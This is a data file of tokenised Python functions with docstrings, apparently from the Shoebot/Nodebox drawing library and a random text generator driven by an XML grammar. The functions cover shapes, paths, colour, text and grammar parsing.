{"signature": "def _addvar(self, v):", "body": "oldvar = self._oldvars.get(v.name)<EOL>if oldvar is not None:<EOL><INDENT>if isinstance(oldvar, Variable):<EOL><INDENT>if oldvar.compliesTo(v):<EOL><INDENT>v.value = oldvar.value<EOL><DEDENT><DEDENT>else:<EOL><INDENT>v.value = v.sanitize(oldvar)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for listener in VarListener.listeners:<EOL><INDENT>listener.var_added(v)<EOL><DEDENT><DEDENT>self._vars[v.name] = v<EOL>self._namespace[v.name] = v.value<EOL>self._oldvars[v.name] = v<EOL>return v<EOL>", "docstring": "Sets a new accessible variable.\n\n        :param v: Variable.", "id": "f11502:c0:m7"}
{"signature": "def simple_traceback(ex, source):", "body": "exc_type, exc_value, exc_tb = sys.exc_info()<EOL>exc = traceback.format_exception(exc_type, exc_value, exc_tb)<EOL>source_arr = source.splitlines()<EOL>exc_location = exc[-<NUM_LIT:2>]<EOL>for i, err in enumerate(exc):<EOL><INDENT>if '<STR_LIT>' in err:<EOL><INDENT>exc_location = exc[i + <NUM_LIT:1>]<EOL>break<EOL><DEDENT><DEDENT>fn = exc_location.split('<STR_LIT:U+002C>')[<NUM_LIT:0>][<NUM_LIT:8>:-<NUM_LIT:1>]<EOL>line_number = int(exc_location.split('<STR_LIT:U+002C>')[<NUM_LIT:1>].replace('<STR_LIT>', '<STR_LIT>').strip())<EOL>err_msgs = []<EOL>err_where = '<STR_LIT:U+0020>'.join(exc[i - <NUM_LIT:1>].split('<STR_LIT:U+002C>')[<NUM_LIT:1>:]).strip()  <EOL>err_msgs.append('<STR_LIT>' % err_where)<EOL>for i in xrange(max(<NUM_LIT:0>, line_number - <NUM_LIT:5>), line_number):<EOL><INDENT>if fn == \"<STR_LIT>\":<EOL><INDENT>line = source_arr[i]<EOL><DEDENT>else:<EOL><INDENT>line = linecache.getline(fn, i + <NUM_LIT:1>)<EOL><DEDENT>err_msgs.append('<STR_LIT>' % (i + <NUM_LIT:1>, line.rstrip()))<EOL><DEDENT>err_msgs.append('<STR_LIT>' % (len(str(i)) * '<STR_LIT:U+0020>', exc[-<NUM_LIT:1>].rstrip()))<EOL>err_msgs.append('<STR_LIT>')<EOL>err_msgs.append(exc[<NUM_LIT:0>].rstrip())<EOL>for err in exc[<NUM_LIT:3>:]:<EOL><INDENT>err_msgs.append(err.rstrip())<EOL><DEDENT>return '<STR_LIT:\\n>'.join(err_msgs)<EOL>", "docstring": "Format traceback, showing line number and surrounding source.", "id": "f11504:m0"}
{"signature": "def __init__(self, canvas=None, namespace=None, vars=None):", "body": "Bot.__init__(self, canvas, namespace=namespace, vars=vars)<EOL>canvas.mode = CORNER<EOL>self._ns = self._namespace<EOL>", "docstring": "Nodebot grammar constructor\n\n:param canvas: Canvas implementation for output.\n:param namespace: Optionally specify a dict to inject as namespace\n:param vars: Optional dict containing initial values for variables", "id": "f11505:c0:m0"}
{"signature": "def image(self, path, x, y, width=None, height=None, alpha=<NUM_LIT:1.0>, data=None, draw=True, **kwargs):", "body": "return self.Image(path, x, y, width, height, alpha, data, **kwargs)<EOL>", "docstring": "Draws a image form path, in x,y and resize it to width, height dimensions.", "id": "f11505:c0:m1"}
{"signature": "def imagesize(self, path):", "body": "img = PILImage.open(path)<EOL>return img.size<EOL>", "docstring": ":param: path    Path to image file.\n:return: image size as tuple (width, height)", "id": "f11505:c0:m2"}
{"signature": "def rect(self, x, y, width, height, roundness=<NUM_LIT:0.0>, draw=True, **kwargs):", "body": "path = self.BezierPath(**kwargs)<EOL>path.rect(x, y, width, height, roundness, self.rectmode)<EOL>if draw:<EOL><INDENT>path.draw()<EOL><DEDENT>return path<EOL>", "docstring": "Draw a rectangle from x, y of width, height.\n\n:param startx: top left x-coordinate\n:param starty: top left y-coordinate\n\n:param width: height  Size of rectangle.\n:roundness: Corner roundness defaults to 0.0 (a right-angle).\n:draw: If True draws immediately.\n:fill: Optionally pass a fill color.\n\n:return: path representing the rectangle.", "id": "f11505:c0:m3"}
{"signature": "def rectmode(self, mode=None):", "body": "if mode in (self.CORNER, self.CENTER, self.CORNERS):<EOL><INDENT>self.rectmode = mode<EOL>return self.rectmode<EOL><DEDENT>elif mode is None:<EOL><INDENT>return self.rectmode<EOL><DEDENT>else:<EOL><INDENT>raise ShoebotError(_(\"<STR_LIT>\"))<EOL><DEDENT>", "docstring": "Set the current rectmode.\n\n:param mode: CORNER, CENTER, CORNERS\n:return: rectmode if mode is None or valid.", "id": "f11505:c0:m4"}
{"signature": "def ellipsemode(self, mode=None):", "body": "if mode in (self.CORNER, self.CENTER, self.CORNERS):<EOL><INDENT>self.ellipsemode = mode<EOL>return self.ellipsemode<EOL><DEDENT>elif mode is None:<EOL><INDENT>return self.ellipsemode<EOL><DEDENT>else:<EOL><INDENT>raise ShoebotError(_(\"<STR_LIT>\"))<EOL><DEDENT>", "docstring": "Set the current ellipse drawing mode.\n\n:param mode: CORNER, CENTER, CORNERS\n:return: ellipsemode if mode is None or valid.", "id": "f11505:c0:m5"}
{"signature": "def oval(self, x, y, width, height, draw=True, **kwargs):", "body": "path = self.BezierPath(**kwargs)<EOL>path.ellipse(x, y, width, height, self.ellipsemode)<EOL>if draw:<EOL><INDENT>path.draw()<EOL><DEDENT>return path<EOL>", "docstring": "Draw an ellipse starting from (x,y) -  ovals and ellipses are not the same", "id": "f11505:c0:m6"}
{"signature": "def ellipse(self, x, y, width, height, draw=True, **kwargs):", "body": "path = self.BezierPath(**kwargs)<EOL>path.ellipse(x, y, width, height, self.ellipsemode)<EOL>if draw:<EOL><INDENT>path.draw()<EOL><DEDENT>return path<EOL>", "docstring": "Draw an ellipse starting from (x,y)", "id": "f11505:c0:m7"}
{"signature": "def circle(self, x, y, diameter, draw=True, **kwargs):", "body": "return self.ellipse(x, y, diameter, diameter, draw, **kwargs)<EOL>", "docstring": "Draw a circle\n        :param x: x-coordinate of the top left corner\n        :param y: y-coordinate of the top left corner\n        :param diameter: Diameter of circle.\n        :param draw: Draw immediately (defaults to True, set to False to inhibit drawing)\n        :return: Path object representing circle", "id": "f11505:c0:m8"}
{"signature": "def line(self, x1, y1, x2, y2, draw=True):", "body": "p = self._path<EOL>self.beginpath()<EOL>self.moveto(x1, y1)<EOL>self.lineto(x2, y2)<EOL>self.endpath(draw=draw)<EOL>self._path = p<EOL>return p<EOL>", "docstring": "Draw a line from (x1,y1) to (x2,y2)\n        :param x1: start x-coordinate\n        :param y1: start y-coordinate\n        :param x2: end x-coordinate\n        :param y2: end y-coordinate", "id": "f11505:c0:m9"}
{"signature": "def arrow(self, x, y, width, type=NORMAL, draw=True, **kwargs):", "body": "<EOL>path = self.BezierPath(**kwargs)<EOL>if type == self.NORMAL:<EOL><INDENT>head = width * <NUM_LIT><EOL>tail = width * <NUM_LIT><EOL>path.moveto(x, y)<EOL>path.lineto(x - head, y + head)<EOL>path.lineto(x - head, y + tail)<EOL>path.lineto(x - width, y + tail)<EOL>path.lineto(x - width, y - tail)<EOL>path.lineto(x - head, y - tail)<EOL>path.lineto(x - head, y - head)<EOL>path.lineto(x, y)<EOL><DEDENT>elif type == self.FORTYFIVE:<EOL><INDENT>head = <NUM_LIT><EOL>tail = <NUM_LIT:1> + head<EOL>path.moveto(x, y)<EOL>path.lineto(x, y + width * (<NUM_LIT:1> - head))<EOL>path.lineto(x - width * head, y + width)<EOL>path.lineto(x - width * head, y + width * tail * <NUM_LIT>)<EOL>path.lineto(x - width * tail * <NUM_LIT>, y + width)<EOL>path.lineto(x - width, y + width * tail * <NUM_LIT>)<EOL>path.lineto(x - width * tail * <NUM_LIT>, y + width * head)<EOL>path.lineto(x - width, y + width * head)<EOL>path.lineto(x - width * (<NUM_LIT:1> - head), y)<EOL>path.lineto(x, y)<EOL><DEDENT>else:<EOL><INDENT>raise NameError(_(\"<STR_LIT>\"))<EOL><DEDENT>if draw:<EOL><INDENT>path.draw()<EOL><DEDENT>return path<EOL>", "docstring": "Draw an arrow.\n\n        Arrows can be two types: NORMAL or FORTYFIVE.\n\n        :param x: top left x-coordinate\n        :param y: top left y-coordinate\n        :param width: width of arrow\n        :param type:  NORMAL or FORTYFIVE\n        :draw:  If True draws arrow immediately\n\n        :return: Path object representing the arrow.", "id": "f11505:c0:m10"}
{"signature": "def star(self, startx, starty, points=<NUM_LIT:20>, outer=<NUM_LIT:100>, inner=<NUM_LIT:50>, draw=True, **kwargs):", "body": "<EOL>self.beginpath(**kwargs)<EOL>self.moveto(startx, starty + outer)<EOL>for i in range(<NUM_LIT:1>, int(<NUM_LIT:2> * points)):<EOL><INDENT>angle = i * pi / points<EOL>x = sin(angle)<EOL>y = cos(angle)<EOL>if i % <NUM_LIT:2>:<EOL><INDENT>radius = inner<EOL><DEDENT>else:<EOL><INDENT>radius = outer<EOL><DEDENT>x = startx + radius * x<EOL>y = starty + radius * y<EOL>self.lineto(x, y)<EOL><DEDENT>return self.endpath(draw)<EOL>", "docstring": "Draws a star.", "id": "f11505:c0:m11"}
{"signature": "def drawimage(self, image, x=None, y=None):", "body": "if x is None:<EOL><INDENT>x = image.x<EOL><DEDENT>if y is None:<EOL><INDENT>y = image.y<EOL><DEDENT>self.image(image.path, image.x, image.y, data=image.data)<EOL>", "docstring": ":param image: Image to draw\n:param x: optional, x coordinate (default is image.x)\n:param y: optional, y coordinate (default is image.y)\n:return:", "id": "f11505:c0:m20"}
{"signature": "def relmoveto(self, x, y):", "body": "if self._path is None:<EOL><INDENT>raise ShoebotError(_(\"<STR_LIT>\"))<EOL><DEDENT>self._path.relmoveto(x, y)<EOL>", "docstring": "Move relatively to the last point.", "id": "f11505:c0:m22"}
{"signature": "def rellineto(self, x, y):", "body": "if self._path is None:<EOL><INDENT>raise ShoebotError(_(\"<STR_LIT>\"))<EOL><DEDENT>self._path.rellineto(x, y)<EOL>", "docstring": "Draw a line using relative coordinates.", "id": "f11505:c0:m23"}
{"signature": "def relcurveto(self, h1x, h1y, h2x, h2y, x, y):", "body": "if self._path is None:<EOL><INDENT>raise ShoebotError(_(\"<STR_LIT>\"))<EOL><DEDENT>self._path.relcurveto(h1x, h1y, h2x, h2y, x, y)<EOL>", "docstring": "Draws a curve relatively to the last point.", "id": "f11505:c0:m24"}
{"signature": "def findpath(self, points, curvature=<NUM_LIT:1.0>):", "body": "<EOL>for i, pt in enumerate(points):<EOL><INDENT>if type(pt) == TupleType:<EOL><INDENT>points[i] = Point(pt[<NUM_LIT:0>], pt[<NUM_LIT:1>])<EOL><DEDENT><DEDENT>if len(points) == <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>if len(points) == <NUM_LIT:1>:<EOL><INDENT>path = self.BezierPath(None)<EOL>path.moveto(points[<NUM_LIT:0>].x, points[<NUM_LIT:0>].y)<EOL>return path<EOL><DEDENT>if len(points) == <NUM_LIT:2>:<EOL><INDENT>path = self.BezierPath(None)<EOL>path.moveto(points[<NUM_LIT:0>].x, points[<NUM_LIT:0>].y)<EOL>path.lineto(points[<NUM_LIT:1>].x, points[<NUM_LIT:1>].y)<EOL>return path<EOL><DEDENT>curvature = max(<NUM_LIT:0>, min(<NUM_LIT:1>, curvature))<EOL>if curvature == <NUM_LIT:0>:<EOL><INDENT>path = self.BezierPath(None)<EOL>path.moveto(points[<NUM_LIT:0>].x, points[<NUM_LIT:0>].y)<EOL>for i in range(len(points)):<EOL><INDENT>path.lineto(points[i].x, points[i].y)<EOL><DEDENT>return path<EOL><DEDENT>curvature = <NUM_LIT:4> + (<NUM_LIT:1.0> - curvature) * <NUM_LIT><EOL>dx = {<NUM_LIT:0>: <NUM_LIT:0>, len(points) - <NUM_LIT:1>: <NUM_LIT:0>}<EOL>dy = {<NUM_LIT:0>: <NUM_LIT:0>, len(points) - <NUM_LIT:1>: <NUM_LIT:0>}<EOL>bi = {<NUM_LIT:1>: -<NUM_LIT>}<EOL>ax = {<NUM_LIT:1>: (points[<NUM_LIT:2>].x - points[<NUM_LIT:0>].x - dx[<NUM_LIT:0>]) / <NUM_LIT:4>}<EOL>ay = {<NUM_LIT:1>: (points[<NUM_LIT:2>].y - points[<NUM_LIT:0>].y - dy[<NUM_LIT:0>]) / <NUM_LIT:4>}<EOL>for i in range(<NUM_LIT:2>, len(points) - <NUM_LIT:1>):<EOL><INDENT>bi[i] = -<NUM_LIT:1> / (curvature + bi[i - <NUM_LIT:1>])<EOL>ax[i] = -(points[i + <NUM_LIT:1>].x - points[i - <NUM_LIT:1>].x - ax[i - <NUM_LIT:1>]) * bi[i]<EOL>ay[i] = -(points[i + <NUM_LIT:1>].y - points[i - <NUM_LIT:1>].y - ay[i - <NUM_LIT:1>]) * bi[i]<EOL><DEDENT>r = range(<NUM_LIT:1>, len(points) - <NUM_LIT:1>)<EOL>r.reverse()<EOL>for i in r:<EOL><INDENT>dx[i] = ax[i] + dx[i + <NUM_LIT:1>] * bi[i]<EOL>dy[i] = ay[i] + dy[i + <NUM_LIT:1>] * bi[i]<EOL><DEDENT>path = self.BezierPath(None)<EOL>path.moveto(points[<NUM_LIT:0>].x, points[<NUM_LIT:0>].y)<EOL>for i in range(len(points) - <NUM_LIT:1>):<EOL><INDENT>path.curveto(points[i].x + dx[i],<EOL>points[i].y + dy[i],<EOL>points[i + <NUM_LIT:1>].x - dx[i + <NUM_LIT:1>],<EOL>points[i + <NUM_LIT:1>].y - dy[i + <NUM_LIT:1>],<EOL>points[i + <NUM_LIT:1>].x,<EOL>points[i + <NUM_LIT:1>].y)<EOL><DEDENT>return path<EOL>", "docstring": "Constructs a path between the given list of points.\n\n        Interpolates the list of points and determines\n        a smooth bezier path betweem them.\n\n        The curvature parameter offers some control on\n        how separate segments are stitched together:\n        from straight angles to smooth curves.\n        Curvature is only useful if the path has more than  three points.", "id": "f11505:c0:m25"}
{"signature": "def transform(self, mode=None):", "body": "if mode:<EOL><INDENT>self._canvas.mode = mode<EOL><DEDENT>return self._canvas.mode<EOL>", "docstring": "Set the current transform mode.\n\n:param mode: CENTER or CORNER", "id": "f11505:c0:m28"}
{"signature": "def translate(self, xt, yt, mode=None):", "body": "self._canvas.translate(xt, yt)<EOL>if mode:<EOL><INDENT>self._canvas.mode = mode<EOL><DEDENT>", "docstring": "Translate the current position by (xt, yt) and\noptionally set the transform mode.\n\n:param xt: Amount to move horizontally\n:param yt: Amount to move vertically\n:mode: Set the transform mode to CENTER or CORNER", "id": "f11505:c0:m29"}
{"signature": "def rotate(self, degrees=<NUM_LIT:0>, radians=<NUM_LIT:0>):", "body": "<EOL>if radians:<EOL><INDENT>angle = radians<EOL><DEDENT>else:<EOL><INDENT>angle = deg2rad(degrees)<EOL><DEDENT>self._canvas.rotate(-angle)<EOL>", "docstring": "Set the current rotation in degrees or radians.\n\n:param degrees: Degrees to rotate\n:param radians: Radians to rotate", "id": "f11505:c0:m30"}
{"signature": "def scale(self, x=<NUM_LIT:1>, y=None):", "body": "if not y:<EOL><INDENT>y = x<EOL><DEDENT>if x == <NUM_LIT:0>:<EOL><INDENT>x = <NUM_LIT:1><EOL><DEDENT>if y == <NUM_LIT:0>:<EOL><INDENT>y = <NUM_LIT:1><EOL><DEDENT>self._canvas.scale(x, y)<EOL>", "docstring": "Set a scale at which to draw objects.\n\n1.0 draws objects at their natural size\n\n:param x: Scale on the horizontal plane\n:param y: Scale on the vertical plane", "id": "f11505:c0:m31"}
{"signature": "def outputmode(self):", "body": "raise NotImplementedError(_(\"<STR_LIT>\"))<EOL>", "docstring": "NOT IMPLEMENTED", "id": "f11505:c0:m36"}
{"signature": "def colormode(self, mode=None, crange=None):", "body": "if mode is not None:<EOL><INDENT>if mode == \"<STR_LIT>\":<EOL><INDENT>self.color_mode = RGB<EOL><DEDENT>elif mode == \"<STR_LIT>\":<EOL><INDENT>self.color_mode = HSB<EOL><DEDENT>else:<EOL><INDENT>raise NameError(_(\"<STR_LIT>\"))<EOL><DEDENT><DEDENT>if crange is not None:<EOL><INDENT>self.color_range = crange<EOL><DEDENT>return self.color_mode<EOL>", "docstring": "Set the current colormode (can be RGB or HSB) and eventually\n        the color range.\n\n        If called without arguments, it returns the current colormode.\n\n        :param mode: Color mode, either \"rgb\", or \"hsb\"\n        :param crange: Maximum scale value for color, e.g. 1.0 or 255\n\n        :return: Returns the current color mode.", "id": "f11505:c0:m37"}
{"signature": "def colorrange(self, crange):", "body": "self.color_range = float(crange)<EOL>", "docstring": "By default colors range from 0.0 - 1.0 using colorrange\n        other defaults can be used, e.g. 0.0 - 255.0\n\n        :param crange: Color range of 0.0 - 255:\n        >>> colorrange(256)", "id": "f11505:c0:m38"}
{"signature": "def fill(self, *args):", "body": "if args is not None:<EOL><INDENT>self._canvas.fillcolor = self.color(*args)<EOL><DEDENT>return self._canvas.fillcolor<EOL>", "docstring": "Sets a fill color, applying it to new paths.\n\n        :param args: color in supported format", "id": "f11505:c0:m39"}
{"signature": "def nofill(self):", "body": "self._canvas.fillcolor = None<EOL>", "docstring": "Stop applying fills to new paths.", "id": "f11505:c0:m40"}
{"signature": "def stroke(self, *args):", "body": "if args is not None:<EOL><INDENT>self._canvas.strokecolor = self.color(*args)<EOL><DEDENT>return self._canvas.strokecolor<EOL>", "docstring": "Set a stroke color, applying it to new paths.\n\n        :param args: color in supported format", "id": "f11505:c0:m41"}
{"signature": "def nostroke(self):", "body": "c = self._canvas.strokecolor<EOL>self._canvas.strokecolor = None<EOL>return c<EOL>", "docstring": "Stop applying strokes to new paths.\n\n        :return: stroke color before nostroke was called.", "id": "f11505:c0:m42"}
{"signature": "def strokewidth(self, w=None):", "body": "if w is not None:<EOL><INDENT>self._canvas.strokewidth = w<EOL><DEDENT>else:<EOL><INDENT>return self._canvas.strokewidth<EOL><DEDENT>", "docstring": "Set the stroke width.\n\n        :param w: Stroke width.\n        :return: If no width was specified then current width is returned.", "id": "f11505:c0:m43"}
{"signature": "def background(self, *args):", "body": "self._canvas.background = self.color(*args)<EOL>", "docstring": "Set the background color.\n\n        :param color: See color() function for supported color formats.", "id": "f11505:c0:m44"}
{"signature": "def font(self, fontpath=None, fontsize=None):", "body": "if fontpath is not None:<EOL><INDENT>self._canvas.fontfile = fontpath<EOL><DEDENT>else:<EOL><INDENT>return self._canvas.fontfile<EOL><DEDENT>if fontsize is not None:<EOL><INDENT>self._canvas.fontsize = fontsize<EOL><DEDENT>", "docstring": "Set the font to be used with new text instances.\n\n        :param fontpath: path to truetype or opentype font.\n        :param fontsize: size of font\n\n        :return: current current fontpath (if fontpath param not set)\n        Accepts TrueType and OpenType files. Depends on FreeType being\n        installed.", "id": "f11505:c0:m45"}
{"signature": "def fontsize(self, fontsize=None):", "body": "if fontsize is not None:<EOL><INDENT>self._canvas.fontsize = fontsize<EOL><DEDENT>else:<EOL><INDENT>return self._canvas.fontsize<EOL><DEDENT>", "docstring": "Set or return size of current font.\n\n:param fontsize: Size of font.\n:return: Size of font (if fontsize was not specified)", "id": "f11505:c0:m46"}
{"signature": "def text(self, txt, x, y, width=None, height=<NUM_LIT>, outline=False, draw=True, **kwargs):", "body": "txt = self.Text(txt, x, y, width, height, outline=outline, ctx=None, **kwargs)<EOL>if outline:<EOL><INDENT>path = txt.path<EOL>if draw:<EOL><INDENT>path.draw()<EOL><DEDENT>return path<EOL><DEDENT>else:<EOL><INDENT>return txt<EOL><DEDENT>", "docstring": "Draws a string of text according to current font settings.\n\n:param txt: Text to output\n:param x: x-coordinate of the top left corner\n:param y: y-coordinate of the top left corner\n:param width: text width\n:param height: text height\n:param outline: If True draws outline text (defaults to False)\n:param draw: Set to False to inhibit immediate drawing (defaults to True)\n:return: Path object representing the text.", "id": "f11505:c0:m47"}
{"signature": "def textpath(self, txt, x, y, width=None, height=<NUM_LIT>, draw=False, **kwargs):", "body": "txt = self.Text(txt, x, y, width, height, enableRendering=False, **kwargs)<EOL>path = txt.path<EOL>if draw:<EOL><INDENT>path.draw()<EOL><DEDENT>return path<EOL>", "docstring": "Generates an outlined path of the input text.\n\n:param txt: Text to output\n:param x: x-coordinate of the top left corner\n:param y: y-coordinate of the top left corner\n:param width: text width\n:param height: text height\n:param draw: Set to False to inhibit immediate drawing (defaults to False)\n:return: Path object representing the text.", "id": "f11505:c0:m48"}
{"signature": "def textmetrics(self, txt, width=None, height=None, **kwargs):", "body": "<EOL>txt = self.Text(txt, <NUM_LIT:0>, <NUM_LIT:0>, width, height, enableRendering=False, **kwargs)<EOL>return txt.metrics<EOL>", "docstring": ":return: the width and height of a string of text as a tuple\naccording to current font settings.", "id": "f11505:c0:m49"}
{"signature": "def textwidth(self, txt, width=None):", "body": "w = width<EOL>return self.textmetrics(txt, width=w)[<NUM_LIT:0>]<EOL>", "docstring": ":return: the width of a string of text according to the current\nfont settings.", "id": "f11505:c0:m50"}
{"signature": "def textheight(self, txt, width=None):", "body": "w = width<EOL>return self.textmetrics(txt, width=w)[<NUM_LIT:1>]<EOL>", "docstring": "Returns the height of a string of text according to the current\n        font settings.\n\n        :param txt: string to measure\n        :param width: width of a line of text in a block", "id": "f11505:c0:m51"}
{"signature": "def lineheight(self, height=None):", "body": "if height is not None:<EOL><INDENT>self._canvas.lineheight = height<EOL><DEDENT>", "docstring": "Set text lineheight.\n\n        :param height: line height.", "id": "f11505:c0:m52"}
{"signature": "def align(self, align=LEFT):", "body": "self._canvas.align = align<EOL>", "docstring": "Set text alignment\n\n:param align: Text alignment (LEFT, CENTER, RIGHT)", "id": "f11505:c0:m53"}
{"signature": "@property<EOL><INDENT>def canvas(self):<DEDENT>", "body": "return self._canvas<EOL>", "docstring": "Not entirely sure compatible the Shoebot 'canvas' is with Nodebox\nbut there you go.\n:return:", "id": "f11505:c0:m56"}
{"signature": "def openAnything(source, searchpaths=None):", "body": "if hasattr(source, \"<STR_LIT>\"):<EOL><INDENT>return source<EOL><DEDENT>if source == \"<STR_LIT:->\":<EOL><INDENT>import sys<EOL>return sys.stdin<EOL><DEDENT>import urllib.request, urllib.parse, urllib.error<EOL>try:<EOL><INDENT>return urllib.request.urlopen(source)<EOL><DEDENT>except (IOError, OSError):<EOL><INDENT>pass<EOL><DEDENT>for path in searchpaths or ['<STR_LIT:.>']:<EOL><INDENT>try:<EOL><INDENT>return open(os.path.join(path, source))<EOL><DEDENT>except (IOError, OSError):<EOL><INDENT>pass<EOL><DEDENT><DEDENT>import io<EOL>return io.StringIO(str(source))<EOL>", "docstring": "URI, filename, or string --> stream\n\n    This function lets you define parsers that take any input source\n    (URL, pathname to local or network file, or actual data as a string)\n    and deal with it in a uniform manner.  Returned object is guaranteed\n    to have all the basic stdio read methods (read, readline, readlines).\n    Just .close() the object when you're done with it.\n\n    Examples:\n    >>> from xml.dom import minidom\n    >>> sock = openAnything(\"http://localhost/kant.xml\")\n    >>> doc = minidom.parse(sock)\n    >>> sock.close()\n    >>> sock = openAnything(\"c:\\\\inetpub\\\\wwwroot\\\\kant.xml\")\n    >>> doc = minidom.parse(sock)\n    >>> sock.close()\n    >>> sock = openAnything(\"<ref id='conjunction'><text>and</text><text>or</text></ref>\")\n    >>> doc = minidom.parse(sock)\n    >>> sock.close()", "id": "f11511:m0"}
{"signature": "def _load(self, source, searchpaths=None):", "body": "sock = openAnything(source, searchpaths=searchpaths)<EOL>xmldoc = minidom.parse(sock).documentElement<EOL>sock.close()<EOL>return xmldoc<EOL>", "docstring": "load XML input source, return parsed XML document\n\n        - a URL of a remote XML file (\"http://diveintopython.org/kant.xml\")\n        - a filename of a local XML file (\"~/diveintopython/common/py/kant.xml\")\n        - standard input (\"-\")\n        - the actual XML document, as a string\n\n        :param searchpaths: optional searchpaths if file is used.", "id": "f11511:c1:m1"}
{"signature": "def loadGrammar(self, grammar, searchpaths=None):", "body": "self.grammar = self._load(grammar, searchpaths=searchpaths)<EOL>self.refs = {}<EOL>for ref in self.grammar.getElementsByTagName(\"<STR_LIT>\"):<EOL><INDENT>self.refs[ref.attributes[\"<STR_LIT:id>\"].value] = ref<EOL><DEDENT>", "docstring": "load context-free grammar", "id": "f11511:c1:m2"}
{"signature": "def loadSource(self, source, searchpaths=None):", "body": "self.source = self._load(source, searchpaths=searchpaths)<EOL>", "docstring": "load source", "id": "f11511:c1:m3"}
{"signature": "def getDefaultSource(self):", "body": "xrefs = {}<EOL>for xref in self.grammar.getElementsByTagName(\"<STR_LIT>\"):<EOL><INDENT>xrefs[xref.attributes[\"<STR_LIT:id>\"].value] = <NUM_LIT:1><EOL><DEDENT>xrefs = list(xrefs.keys())<EOL>standaloneXrefs = [e for e in list(self.refs.keys()) if e not in xrefs]<EOL>if not standaloneXrefs:<EOL><INDENT>raise NoSourceError(\"<STR_LIT>\")<EOL><DEDENT>return '<STR_LIT>' % random.choice(standaloneXrefs)<EOL>", "docstring": "guess default source of the current grammar\n\n        The default source will be one of the <ref>s that is not\n        cross-referenced.  This sounds complicated but it's not.\n        Example: The default source for kant.xml is\n        \"<xref id='section'/>\", because 'section' is the one <ref>\n        that is not <xref>'d anywhere in the grammar.\n        In most grammars, the default source will produce the\n        longest (and most interesting) output.", "id": "f11511:c1:m4"}
{"signature": "def reset(self):", "body": "self.pieces = []<EOL>self.capitalizeNextWord = <NUM_LIT:0><EOL>", "docstring": "reset parser", "id": "f11511:c1:m5"}
{"signature": "def refresh(self):", "body": "self.reset()<EOL>self.parse(self.source)<EOL>return self.output()<EOL>", "docstring": "reset output buffer, re-parse entire source file, and return output\n\n        Since parsing involves a good deal of randomness, this is an\n        easy way to get new output without having to reload a grammar file\n        each time.", "id": "f11511:c1:m6"}
{"signature": "def output(self):", "body": "return \"<STR_LIT>\".join(self.pieces)<EOL>", "docstring": "output generated text", "id": "f11511:c1:m7"}
{"signature": "def randomChildElement(self, node):", "body": "choices = [e for e in node.childNodes<EOL>if e.nodeType == e.ELEMENT_NODE]<EOL>chosen = random.choice(choices)<EOL>if _debug:<EOL><INDENT>sys.stderr.write('<STR_LIT>' %(len(choices), [e.toxml() for e in choices]))<EOL>sys.stderr.write('<STR_LIT>' % chosen.toxml())<EOL><DEDENT>return chosen<EOL>", "docstring": "choose a random child element of a node\n\n        This is a utility method used by do_xref and do_choice.", "id": "f11511:c1:m8"}
{"signature": "def parse(self, node):", "body": "parseMethod = getattr(self, \"<STR_LIT>\" % node.__class__.__name__)<EOL>parseMethod(node)<EOL>", "docstring": "parse a single XML node\n\n        A parsed XML document (from minidom.parse) is a tree of nodes\n        of various types.  Each node is represented by an instance of the\n        corresponding Python class (Element for a tag, Text for\n        text data, Document for the top-level document).  The following\n        statement constructs the name of a class method based on the type\n        of node we're parsing (\"parse_Element\" for an Element node,\n        \"parse_Text\" for a Text node, etc.) and then calls the method.", "id": "f11511:c1:m9"}
{"signature": "def parse_Document(self, node):", "body": "self.parse(node.documentElement)<EOL>", "docstring": "parse the document node\n\n        The document node by itself isn't interesting (to us), but\n        its only child, node.documentElement, is: it's the root node\n        of the grammar.", "id": "f11511:c1:m10"}
{"signature": "def parse_Text(self, node):", "body": "text = node.data<EOL>if self.capitalizeNextWord:<EOL><INDENT>self.pieces.append(text[<NUM_LIT:0>].upper())<EOL>self.pieces.append(text[<NUM_LIT:1>:])<EOL>self.capitalizeNextWord = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>self.pieces.append(text)<EOL><DEDENT>", "docstring": "parse a text node\n\n        The text of a text node is usually added to the output buffer\n        verbatim.  The one exception is that <p class='sentence'> sets\n        a flag to capitalize the first letter of the next word.  If\n        that flag is set, we capitalize the text and reset the flag.", "id": "f11511:c1:m11"}
{"signature": "def parse_Element(self, node):", "body": "handlerMethod = getattr(self, \"<STR_LIT>\" % node.tagName)<EOL>handlerMethod(node)<EOL>", "docstring": "parse an element\n\n        An XML element corresponds to an actual tag in the source:\n        <xref id='...'>, <p chance='...'>, <choice>, etc.\n        Each element type is handled in its own method.  Like we did in\n        parse(), we construct a method name based on the name of the\n        element (\"do_xref\" for an <xref> tag, etc.) and\n        call the method.", "id": "f11511:c1:m12"}
{"signature": "def parse_Comment(self, node):", "body": "pass<EOL>", "docstring": "parse a comment\n\n        The grammar can contain XML comments, but we ignore them", "id": "f11511:c1:m13"}
{"signature": "def do_xref(self, node):", "body": "id = node.attributes[\"<STR_LIT:id>\"].value<EOL>self.parse(self.randomChildElement(self.refs[id]))<EOL>", "docstring": "handle <xref id='...'> tag\n\n        An <xref id='...'> tag is a cross-reference to a <ref id='...'>\n        tag.  <xref id='sentence'/> evaluates to a randomly chosen child of\n        <ref id='sentence'>.", "id": "f11511:c1:m14"}
{"signature": "def do_p(self, node):", "body": "keys = list(node.attributes.keys())<EOL>if \"<STR_LIT:class>\" in keys:<EOL><INDENT>if node.attributes[\"<STR_LIT:class>\"].value == \"<STR_LIT>\":<EOL><INDENT>self.capitalizeNextWord = <NUM_LIT:1><EOL><DEDENT><DEDENT>if \"<STR_LIT>\" in keys:<EOL><INDENT>chance = int(node.attributes[\"<STR_LIT>\"].value)<EOL>doit = (chance > random.randrange(<NUM_LIT:100>))<EOL><DEDENT>else:<EOL><INDENT>doit = <NUM_LIT:1><EOL><DEDENT>if doit:<EOL><INDENT>for child in node.childNodes: self.parse(child)<EOL><DEDENT>", "docstring": "handle <p> tag\n\n        The <p> tag is the core of the grammar.  It can contain almost\n        anything: freeform text, <choice> tags, <xref> tags, even other\n        <p> tags.  If a \"class='sentence'\" attribute is found, a flag\n        is set and the next word will be capitalized.  If a \"chance='X'\"\n        attribute is found, there is an X% chance that the tag will be\n        evaluated (and therefore a (100-X)% chance that it will be\n        completely ignored)", "id": "f11511:c1:m15"}
{"signature": "def do_choice(self, node):", "body": "self.parse(self.randomChildElement(node))<EOL>", "docstring": "handle <choice> tag\n\n        A <choice> tag contains one or more <p> tags.  One <p> tag\n        is chosen at random and evaluated; the rest are ignored.", "id": "f11511:c1:m16"}
